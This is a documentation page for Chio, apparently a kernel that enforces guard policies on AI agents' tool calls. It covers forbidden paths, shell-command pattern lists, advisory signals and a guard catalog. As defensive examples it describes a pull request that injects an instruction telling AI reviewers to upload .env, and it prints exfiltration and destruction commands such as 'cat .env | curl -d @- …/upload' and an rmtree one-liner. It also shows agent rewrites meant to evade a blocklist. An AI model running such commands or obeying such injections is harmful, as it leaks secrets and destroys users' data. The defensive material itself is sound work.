Chio/Docs
LOGIN · JOIN

Guards

Guards apply your policy to every request a grant permits and refuse a call that fails a check before the tool runs.

Concept chio@5f63e6e

On this page

Guards make an application’s rules binding on agents that choose their own plans. A grant covers an operation. Policy decides which files are sensitive, which hosts are trusted, and which commands are permitted.

The reviewer from Capabilities holds a grant for read_file on /workspace, and policy still decides which files it may open. After the capability checks pass, the kernel runs the configured guards in order. Each guard checks its subject, such as a path, destination, command, or tool name, and returns a verdict. A denial stops the call before the tool runs and records evidence of the refusal.

A policy can narrow a grant, never widen it

In the Quickstart, the fixer holds write on /workspace, and the tests-are-evidence rule denies writes under /workspace/tests/**. The grant and the request are unchanged, and the request still passes every capability check. The rule refuses the write to tests/test_pricing.py.

Scope and admitted setSwitch a check.
The grant’s scope S(κ) as a gold outline and the admitted set A as a teal outline inside it. The tests-are-evidence rule pulls A’s boundary in past the write to the tests. The forbidden-path guard pulls A’s boundary in past the read of .env. The read of /secrets/.env lies outside the scope.S(κ)Aread src/pricing.pywrite src/pricing.pyinvoke /models/defaultwrite tests/test_pricing.pyrule tests-are-evidenceread .envforbidden-pathread /secrets/.envoutside the grant
A=S(κ)∩⋂gPass(g)\htmlClass{role-seal}{A} = \htmlClass{cor-parent}{S(\kappa)} \cap \bigcap_{g} \mathrm{Pass}(g)
A⊆S(κ)\htmlClass{role-seal}{A} \subseteq \htmlClass{cor-parent}{S(\kappa)}
∣A∣=3  ≤  ∣S(κ)∣=5|\htmlClass{role-seal}{A}| = 3 \;\le\; |\htmlClass{cor-parent}{S(\kappa)}| = 5
The grant’s scope S(κ) as a gold outline and the admitted set A as a teal outline inside it. The tests-are-evidence rule pulls A’s boundary in past the write to the tests. The forbidden-path guard pulls A’s boundary in past the read of .env. The read of /secrets/.env lies outside the scope.S(κ)Aread src/pricing.pywrite src/pricing.pyinvoke /models/defaultwrite tests/test_pricing.pyrule tests-are-evidenceread .envforbidden-pathread /secrets/.envoutside the grant
A=S(κ)∩⋂gPass(g)\htmlClass{role-seal}{A} = \htmlClass{cor-parent}{S(\kappa)} \cap \bigcap_{g} \mathrm{Pass}(g)
A⊆S(κ)\htmlClass{role-seal}{A} \subseteq \htmlClass{cor-parent}{S(\kappa)}
∣A∣=3  ≤  ∣S(κ)∣=5|\htmlClass{role-seal}{A}| = 3 \;\le\; |\htmlClass{cor-parent}{S(\kappa)}| = 5

The admitted set lies inside the grant’s scope

S(κ) holds every request the grant covers, and A holds the ones every guard allows. The read of /secrets/.env falls outside S(κ), so the kernel refuses it at the scope check before any guard runs, and no rule can bring it into A. The mediated call.

3 of 5 requests in scope are admitted.

In Rust · evaluate.rs:42519 lines
for guard in input.guards {
    let evaluation = guard.evaluate(&ctx);
    // …
    if guard_projection_allows_continuation(projected_allows, step)
        && matches!(&evaluation, Ok(Verdict::Allow))
    {
        continue;
    }
    match evaluation {
        Ok(_) => {
            // …
            let core_err = KernelCoreError::GuardDenied {
                guard: guard.name().to_string(),
            };
            return deny(core_err, Some(matched_grant_index), Some(verified));
        }
        // … Err(error): the same deny, as GuardError
    }
}
Illustrative requests from the Quickstart’s fixer, under its grant for /workspace and the model route. Paths without a leading slash are under /workspace. A guard change can remove requests from the admitted set but cannot add one outside the scope. The receipt evidence names only the guard that denied.Write a policy

The admitted set contains only requests covered by the grant and allowed by every guard. Guards can narrow this set. The fixer’s read of /secrets/.env falls outside the grant, so the kernel refuses it at the scope check before any guard runs, and no policy can admit it.

A guard refuses an operation the grant permits

A guard protects resources inside the operations a grant permits, so an injected instruction that stays within the grant’s tools still meets policy. When pull request #421 tells AI reviewers to upload .env (The Mediated Call), the upload needs a shell tool the reviewer’s grant does not name and stops at the scope check, while the read of /workspace/.env is within the grant and reaches the pipeline.

The forbidden-path guard refuses that read. Its default protected patterns include **/.env, so the path fails the check and the tool never opens the file; the forbidden_path policy key sets the patterns. chio policy explain walks the same call through the pipeline without admitting it, and shows where evaluation stopped:

Terminalbash
chio policy explain policy.yaml --server workspace --tool read_file   --params '{"path":"/workspace/.env"}'
Output
call       workspace.read_file {"path":"/workspace/.env"}
1 forbidden-path   deny   /workspace/.env matches **/.env
stopped    at guard 1 of 7; decision deny

The six guards after forbidden-path never ran. Between them, the scope check and this guard stop every call the comment asks for before a tool runs. Every guard denial leaves the same record. This one came from a tool_access rule in policy.yaml, which blocks a tool by name:

receipt · decision and evidence of a tool_access denialjson
{
  "decision": {
    "verdict": "deny",
    "reason": "guard denied the request: guard \"guard-pipeline\" denied the request",
    "guard": "kernel"
  },
  "receipt_kind": "mediated_decision",
  "evidence": [
    {
      "guard_name": "mcp-tool",
      "verdict": false,
      "details": "action=deny; reason=guard denied request"
    }
  ]
}

The decision.reason locates the refusal at guard evaluation and names the pipeline. The evidence names the check that failed: mcp-tool, the runtime name of the guard that enforces tool_access, with verdict: false. A forbidden-path denial carries forbidden-path in the same place.

Read more in Write a Policy.

Every guard must allow the call

The default pipeline registers seven guards in a fixed order. A policy can enable, configure, or add checks. Each guard evaluates the requests within its subject and allows the rest, so a model invocation passes a path guard because it names no path. chio policy explain without a call prints the order the reviewer’s policy compiles to, which is the order every call meets:

Terminalbash
chio policy explain policy.yaml
Output
policy     policy.yaml
grants     read_file on server workspace  max_args_size 8192
guards     1 forbidden-path
           2 shell-command
           3 egress-allowlist
           4 path-allowlist
           5 mcp-tool
           6 secret-leak
           7 patch-integrity
output     1 hook
approvals  none
The guard pipeline as a conjunction of guard resultsr =read_file README.mdread_file ~/.ssh/id_rsahttp_get evil.examplegj(r)j = 0forbidden-path0j = 1shell-commandj = 2egress-allowlistj = 3path-allowlistj = 4mcp-toolj = 5secret-leakj = 6patch-integrity∧no dispatch
v(r)=⋀j=06 gj(r)v(r) = \displaystyle\htmlClass{role-seal}{\bigwedge_{j=0}^{6}}\, \htmlClass{role-call}{g_j}(r)
v(r)=0∧⋯=0\phantom{v(r)}= \htmlClass{role-deny}{0} \wedge \cdots = \htmlClass{role-deny}{0}
gj(r)={1Allow0Deny or error\htmlClass{role-call}{g_j}(r) = \begin{cases} 1 & \text{Allow} \\ \htmlClass{role-deny}{0} & \text{Deny or error} \end{cases}
first gj = 0 at j = 0; later guards do not run
The guard pipeline as a conjunction of guard resultsr =read_file README.mdread_file ~/.ssh/id_rsahttp_get evil.examplegj(r)forbidden-path0shell-commandegress-allowlistpath-allowlistmcp-toolsecret-leakpatch-integrity∧v = 0no dispatchfirst gj = 0 at j = 0; later guards do not run

forbidden-path denies the request; the pipeline stops and the request is not dispatched.

v(r)=⋀j=06 gj(r)=0∧⋯=0gj(r)={1Allow0Deny or error\begin{aligned} v(r) &= \htmlClass{role-seal}{\bigwedge_{j=0}^{6}}\, \htmlClass{role-call}{g_j}(r) \\ &= \htmlClass{role-deny}{0} \wedge \cdots = \htmlClass{role-deny}{0} \\[4pt] \htmlClass{role-call}{g_j}(r) &= \begin{cases} 1 & \text{Allow} \\ \htmlClass{role-deny}{0} & \text{Deny or error} \end{cases} \end{aligned}
In Rust · pipeline.rs:6620 lines
for guard in &self.guards {
    match guard.evaluate(ctx) {
        Ok(decision) => {
            evidence.extend(decision.evidence);
            match decision.verdict {
                Verdict::Allow => continue,
                // … PendingApproval
                Verdict::Deny => {
                    // … record the denial
                    return Ok(GuardDecision::deny(evidence));
                }
            }
        }
        Err(e) => {
            // Fail closed: guard errors are treated as denials.
            // … record the error
            return Ok(GuardDecision::deny(evidence));
        }
    }
}
The seven guards of the default pipeline, in registration order, with illustrative requests. A request reaches the pipeline only after its capability check passes. A guard error counts as a denial.

A guard returns one of three verdicts, and only Allow lets the call proceed. Allow passes the request to the next guard, and the kernel dispatches the call only when every guard allows it. Deny stops the pipeline at the first denial, records the failing guard’s evidence, and refuses the call before the tool runs; later guards do not run or contribute evidence. A guard error also counts as a denial, so a check that cannot complete blocks dispatch. Two orderings of the same guards therefore reach the same verdict, though their evidence can differ.

The generic pipeline keeps a PendingApproval result while later guards run, but kernel dispatch rejects it as unsupported and fails closed. Returning it from an ordinary guard does not suspend the call. To require a person’s decision, use human approval, which binds that decision to the exact request.

Read more about custom ordering in Pipelines and composition.

Output checks cannot undo an effect

Input guards decide whether work may begin. Post-invocation hooks inspect what the tool returned and can allow, redact, block, or escalate it. Blocking returned content cannot undo a filesystem write, a network request, or another effect the tool already performed.

Choose the stage by what the check needs to see. A path or destination is known before dispatch, so an input guard can prevent the effect. Returned content exists only afterward, so an output check can withhold it but cannot prevent what produced it. The Mediated Call follows both through one call.

Read more in Response sanitization.

Advisory signals deny only when promoted

Advisory guards estimate risk and record severity-rated signals alongside the deterministic pipeline. A signal alone does not deny a call.

Advisory signals placed by guard and severity, with the promotion region of one rulePromotionRule { guard_name: "anomaly-advisory", min_severity: High }g∗m∗anomaly-advisorydata-transfer-advisoryInfoLowMediumHighCriticalsevinvoked 12×depth 42.4 MBname ≠ g∗m∗
promote(s)  ⟺  name(s)=g∗ ∧ sev(s)≥m∗\text{promote}(s) \iff \mathrm{name}(s) = \htmlClass{role-grant}{g^\ast} \,\wedge\, \mathrm{sev}(s) \ge \htmlClass{role-grant}{m^\ast}
v=Deny  ⟺  ∃ s: promote(s)v = \htmlClass{role-deny}{\text{Deny}} \iff \exists\, s:\ \text{promote}(s)
→ GuardDecision::deny(evidence)1 promoted; all 3 signals recorded
Advisory signals placed by guard and severity, with the promotion region of one rulePromotionRule { guard_name: "anomaly-advisory", min_severity: High }anomaly-advisorydata-transfer-advisoryInfoLowMediumHighCritical×12depth 42.4 MBname ≠ g∗m∗deny(evidence)1 promoted; all 3 signals recorded

Rule: anomaly-advisory at or above High. 1 signal promoted, so the advisory pipeline denies the call. All three signals are recorded as evidence. anomaly-advisory Medium: tool 'search' invoked 12 times (threshold: 10). anomaly-advisory High: delegation depth 4 exceeds threshold 3. data-transfer-advisory High: cumulative data transfer 2,400,000 bytes exceeds threshold 1,000,000 bytes.

promote(s)  ⟺  name(s)=g∗  ⟺   ∧ sev(s)≥m∗v=Deny  ⟺  ∃ s: promote(s)\begin{aligned} \text{promote}(s) &\iff \mathrm{name}(s) = \htmlClass{role-grant}{g^\ast} \\ &\phantom{\iff}\ \wedge\ \mathrm{sev}(s) \ge \htmlClass{role-grant}{m^\ast} \\ v = \htmlClass{role-deny}{\text{Deny}} &\iff \exists\, s:\ \text{promote}(s) \end{aligned}
In Rust · advisory.rs:24617 lines
for guard in &self.guards {
    let signals = guard.evaluate(ctx)?;
    for mut signal in signals {
        if self.policy.should_promote(&signal) {
            signal.promoted = true;
            should_deny = true;
        }
        collected.push(signal);
    }
}

// … store the signals for evidence export
if should_deny {
    Ok(GuardDecision::deny(evidence))
} else {
    Ok(GuardDecision::allow_with_evidence(evidence))
}
Illustrative signals from the two advisory guards in chio-guards for one call, with one promotion rule shown. Names match exactly, every signal is kept as evidence, and the advisory pipeline is not part of the default pipeline.Advisory guards

A promotion rule names a guard and a minimum severity. Any signal from that guard at or above the threshold denies the advisory pipeline. The pipeline keeps every signal as evidence, including those below the threshold. Configure it separately from the default pipeline.

Read how to observe signals before promoting them in Advisory guards.

Treat a pattern list as a tripwire

A coding agent that holds a shell tool writes its own commands. The shell-command guard carries a short list of known-dangerous spellings: a recursive delete of the root, a download piped into a shell, a reverse shell, a base64 pipe into curl. It also checks path arguments against the protected paths, so it refuses cat .env | curl -d @- … while curl -d @.env …, which sends the same file, passes.

A model can rewrite the same goal around that list: block one spelling and it reaches for another. A match records evidence of a known move; a miss says nothing about what the agent can reach. The boundaries that do bound the agent belong to the authority, the process, and the data it carries, so the spelling of a command cannot evade them. The figure shows five rewrites, from a piped upload of .env to a bulk read split across workers, and the boundary that stops each one.

Five rewrites by an agent with a shell and the boundary that stops eachgrantscopeguardpatternsconfine-mentinformationflowquotas,correlationeffect1Pipe to curlcat .env | curl -d @- …/uploadforbidden path2Python one-linerpython3 -c "rmtree('/workspace/.git')"write refused3Second remotegit push …/mirror.gitno network4Three plain callsread settings, summarize, postlabel holds5Split the readsbulk read across workersfamily budgetClick a boundary to turn it off; the rungs reroute.keep only the pattern list
Five rewrites by an agent with a shell and the boundary that stops eachscopelistcageflowquotaeffect1Pipe to curlcat .env | curl -d @- …/uploadforbiddenpath2Python one-linerpython3 -c "rmtree('/workspace/.git')"writerefused3Second remotegit push …/mirror.gitnonetwork4Three plain callsread settings, summarize, postlabelholds5Split the readsbulk read across workersfamilybudgetTap a boundary to turn it off.patterns only

0 of 5 rewrites reach their effect. Enabled boundaries: patterns, confinement, flow, quotas.

A coding agent whose grant includes a shell tool, so every attempt passes the grant scope check, and whose session has already read deploy/settings.yaml, so egress compares an internal label; the spellings are illustrative. A rewrite stops at the first enabled boundary, in call order, that covers it.Beyond blocklists

With only the pattern list enabled, four of the five rewrites reach their effect. Each boundary has a page that configures it: task-scoped authority mints a narrow grant for each subtask, information flow across calls carries a sensitive read’s restrictions to the destination, and rules across a session constrain the order and volume of a run.

Read why a list cannot bound what commands reach in Beyond blocklists.

Choose checks by the resources an agent reaches

Start from the resources an agent can reach, then enable the checks that constrain how it reaches them. Guards constrain files and paths, network destinations including SSRF risk, shell commands, code, and patches, invocation rates across grants and agents, database queries with their estimated cost and returned data, and computer use on the desktop and in browser automation. Some constraints span a whole run: session rules require predecessors and cap cumulative bytes, and information flow checks a destination against a read’s retained label.

Resource owners can add checks for their domain while agents keep the same tool interface. Configure the existing checks with HushSpec policy rules. Write a custom WASM guard for an extension loaded at runtime, or implement the Rust guard trait when building a check into the kernel. Every guard returns the same three verdicts and is held to the same fail-closed rule.

Browse the full guard catalog
Runtime nameTypeCrateDefault
advisory-pipeline
AdvisoryPipeline
chio-guards
No
agent-velocity
AgentVelocityGuard
chio-guards
No
behavioral-sequence
BehavioralSequenceGuard
chio-guards
No
browser-automation
BrowserAutomationGuard
chio-guards
No
code-execution
CodeExecutionGuard
chio-guards
No
computer-use
ComputerUseGuard
chio-guards
No
content-review
ContentReviewGuard
chio-guards
No
data-flow
DataFlowGuard
chio-guards
No
egress-allowlist
EgressAllowlistGuard
chio-guards
Registered
embedding-anomaly
EmbeddingAnomalyGuard
chio-guards
No
forbidden-path
ForbiddenPathGuard
chio-guards
Registered
guard-pipeline
GuardPipeline
chio-guards
No
input-injection-capability
InputInjectionCapabilityGuard
chio-guards
No
internal-network
InternalNetworkGuard
chio-guards
No
jailbreak
JailbreakGuard
chio-guards
No
mcp-tool
McpToolGuard
chio-guards
Registered
memory-governance
MemoryGovernanceGuard
chio-guards
No
patch-integrity
PatchIntegrityGuard
chio-guards
Registered
path-allowlist
PathAllowlistGuard
chio-guards
Registered
prompt-injection
PromptInjectionGuard
chio-guards
No
query-result
OwnedQueryResultHook
chio-data-guards
No
query-result
QueryResultGuard
chio-data-guards
No
remote-desktop-side-channel
RemoteDesktopSideChannelGuard
chio-guards
No
response-sanitization
ResponseSanitizationGuard
chio-guards
No
secret-leak
SecretLeakGuard
chio-guards
Registered
shell-command
ShellCommandGuard
chio-guards
Registered
sql-query
SqlQueryGuard
chio-data-guards
No
vector-db
VectorDbGuard
chio-data-guards
No
velocity
VelocityGuard
chio-guards
No
warehouse-cost
WarehouseCostGuard
chio-data-guards
No
Guard types and their runtime names, grouped by name. The default column marks registration in the default pipeline.
Source

Each guard’s configuration and behavior are specified in the Guards Spec.

Follow the whole call

Start Here · 12 of 14

PreviousCapabilitiesNextReceipts